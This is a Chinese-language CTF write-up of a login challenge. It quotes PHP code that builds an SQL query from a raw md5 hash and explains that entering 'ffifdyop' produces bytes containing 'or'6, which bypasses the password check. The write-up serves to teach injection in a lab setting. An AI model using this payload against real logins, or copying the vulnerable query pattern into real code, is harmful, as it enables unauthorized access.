後臺登陸SQL

**

後臺登陸SQL

**

地址:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
在這裏插入圖片描述
查看源代碼,出現提示,後臺數據庫的查詢代碼:

<!-- $password=$_POST['password'];
	$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
	$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0){
			echo 'flag is :'.$flag;
		}
		else{
			echo '密碼錯誤!';
		} -->

分析代碼:
md5($password,true),對我們輸入的密碼進行了md5加密

在這裏插入圖片描述

但是組成SQL查詢語句的時候這個hex(16進制)會被轉成字符串,如果轉換之後的字符串包含’or’,就會和原查詢語句一起組成:

$sql="select password from users where password=''or'<xxx>'"

導致了sql注入

提供一個字符串: ffifdyop

md5後,276f722736c95d99e921722cf9ed621c

再轉成字符串:'or ’ 6

解析:存在 or 即代碼的兩邊有一邊爲真既可以繞過,其實爲垃圾代碼沒有任何用的。

or 後面有6,非零值即爲真。既可以成功繞過。


作者:許胖子
鏈接:https://www.jianshu.com/p/e37e26d2ba7f
來源:簡書

構造的SQL語句:SELECT * FROM admin WHERE pass=’ ‘or ’ 6’

後面代碼只是判斷了返回回來的結果的行數是否是大於零:

$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章